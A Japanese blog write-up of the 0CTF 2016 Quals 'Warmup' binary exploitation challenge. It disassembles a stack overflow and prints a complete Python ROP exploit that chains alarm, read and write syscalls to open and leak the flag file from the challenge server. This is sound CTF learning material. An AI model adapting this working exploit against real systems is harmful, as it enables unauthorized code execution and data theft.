0CTF 2016 Quals Writeup
1年と3カ月ぶりの更新となります.
今までブログは自前のサーバで動かしていたのですが,なんか面倒臭くなってずっと放置してました.
WordPressで管理を続けるのもなんかアレなので,この度はてなブログに移行をしました.
さて,今回は0CTFに参加して解いた問題のWriteupを記しておこうかと思います.
(チームメイトと相談しながら解けた問題はいくつかあるけど,自分一人で解いたのは1問しかないのだいぶつらい.人権無い)
Warmup (Exploit 2)
問題文
warmup for pwning!
Notice: This service is protected by a sandbox, you can only read the flag at
/home/warmup/flag
202.120.7.207 52608
下調べ
shiftcrops@S-Ubuntu:~/CTF/0CTF$ file warmup warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped shiftcrops@S-Ubuntu:~/CTF/0CTF$ checksec.sh --file warmup RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH warmup
stripされてはいるが,32bitなのでだいぶ優しい
プログラム動作解析
stripかーとか思ってobjdumpで開いてみたら,何のことは無かった
以下抜粋
080480d8 <.text>: 80480d8: 83 ec 10 sub esp,0x10 80480db: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa 80480e2: e8 26 00 00 00 call 0x804810d <syscall_alarm> 80480e7: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 80480ee: c7 44 24 04 bc 91 04 mov DWORD PTR [esp+0x4],0x80491bc 80480f5: 08 80480f6: c7 44 24 08 16 00 00 mov DWORD PTR [esp+0x8],0x16 80480fd: 00 80480fe: e8 32 00 00 00 call 0x8048135 <syscall_write> 8048103: e8 52 00 00 00 call 0x804815a <vuln> 8048108: e8 40 00 00 00 call 0x804814d <syscall_exit> 0804815a8 <vuln>: 804815a: 83 ec 30 sub esp,0x30 804815d: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 8048164: 8d 44 24 10 lea eax,[esp+0x10] 8048168: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804816c: c7 44 24 08 34 00 00 mov DWORD PTR [esp+0x8],0x34 8048173: 00 8048174: e8 a4 ff ff ff call 0x804811d <syscall_read> 8048179: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 8048180: c7 44 24 04 d3 91 04 mov DWORD PTR [esp+0x4],0x80491d3 8048187: 08 8048188: c7 44 24 08 0b 00 00 mov DWORD PTR [esp+0x8],0xb 804818f: 00 8048190: e8 a0 ff ff ff call 0x8048135 <syscall_write> 8048195: b8 af be ad de mov eax,0xdeadbeaf 804819a: b9 af be ad de mov ecx,0xdeadbeaf 804819f: ba af be ad de mov edx,0xdeadbeaf 80481a4: bb af be ad de mov ebx,0xdeadbeaf 80481a9: be af be ad de mov esi,0xdeadbeaf 80481ae: bf af be ad de mov edi,0xdeadbeaf 80481b3: bd af be ad de mov ebp,0xdeadbeaf 80481b8: 83 c4 30 add esp,0x30 80481bb: c3 ret
それぞれのシステムコールを呼ぶ関数は,eaxにシステムコール番号を格納してからスタックから引数を取り,割り込みを発生させるという動きをする.
戻り値が負ならsyscall_exitを呼ぶ.
問題はここ
0804815a8 <vuln>: 804815a: 83 ec 30 sub esp,0x30 804815d: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 8048164: 8d 44 24 10 lea eax,[esp+0x10] 8048168: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804816c: c7 44 24 08 34 00 00 mov DWORD PTR [esp+0x8],0x34 8048173: 00 8048174: e8 a4 ff ff ff call 0x804811d <syscall_read>
スタックを0x30byte確保し,0x10byte進んだところから0x34byteだけreadを行う.
すなわち0x14byteオーバフローを起こす.
0x20だけオフセットを取ってやればeipを取れるのだが,ここでopenが無いことにふと気づく
しかしまぁ,alarmあるし問題ない
解法
1回でオーバーフローする長さが短いので,return_to_vulnして繰り返しROPを行う
alarmでsys_openを指定し(exploit_st2),次に1秒以内にalarmを呼べばその値がeaxに格納されている.
その状態で引数にfilenameとflag,modeを与えればいいのだが,オーバーフローする長さが足りず残念ながらmodeまで指定できない.(exploit_st3)
しかし,開くだけだし問題なさそう
open("/home/warmup/flag", O_RDONLY, ??)
fd=3で開かれる筈なので,あとはこのファイルディスクリプタからreadして,STDOUT_FILENOにwriteすればお終い.
Exploit
#!/usr/bin/env python from sc_pwn import * target = {'host':'202.120.7.207','port':52608} addr_vuln = 0x0804815a addr_alarm = 0x0804810d addr_read = 0x0804811d addr_write = 0x08048135 addr_exit = 0x0804814d addr_syscall_arg3 = 0x08048122 addr_buf = 0x0804920c str_fname = '/home/warmup/flag\x00' sys_open = 0x05 #========== def attack(cmn): exploit_st1 = '\x00'*0x20 exploit_st1 += pack_32(addr_read) exploit_st1 += pack_32(addr_vuln) exploit_st1 += pack_32(STDIN_FILENO) exploit_st1 += pack_32(addr_buf) exploit_st1 += pack_32(len(str_fname)) exploit_st2 = '\x00'*0x20 exploit_st2 += pack_32(addr_alarm) exploit_st2 += pack_32(addr_vuln) exploit_st2 += pack_32(sys_open) exploit_st3 = '\x00'*0x20 exploit_st3 += pack_32(addr_alarm) exploit_st3 += pack_32(addr_syscall_arg3) exploit_st3 += pack_32(addr_vuln) exploit_st3 += pack_32(addr_buf) exploit_st3 += pack_32(O_RDONLY) exploit_st4 = '\x00'*0x20 exploit_st4 += pack_32(addr_read) exploit_st4 += pack_32(addr_vuln) exploit_st4 += pack_32(3) exploit_st4 += pack_32(addr_buf) exploit_st4 += pack_32(0x100) exploit_st5 = '\x00'*0x20 exploit_st5 += pack_32(addr_write) exploit_st5 += pack_32(addr_exit) exploit_st5 += pack_32(STDOUT_FILENO) exploit_st5 += pack_32(addr_buf) exploit_st5 += pack_32(0x100) cmn.read_until('2016!\n') cmn.send(exploit_st1) cmn.read_until('Good Luck!\n') cmn.send(str_fname) cmn.send(exploit_st2) cmn.read_until('Good Luck!\n') cmn.send(exploit_st3) cmn.read_until('Good Luck!\n') cmn.send(exploit_st4) cmn.read_until('Good Luck!\n') cmn.send(exploit_st5) cmn.read_until('Good Luck!\n') flag = cmn.read_until('\n') info('flag : %s' % flag) #========== if __name__=='__main__': cmn = Communicate(target,mode='RAW') attack(cmn) del(cmn) #==========
実行結果
[*]Connect to 202.120.7.207:52608 [+]flag : 0ctf{welcome_it_is_pwning_time} [*]Network Disconnect...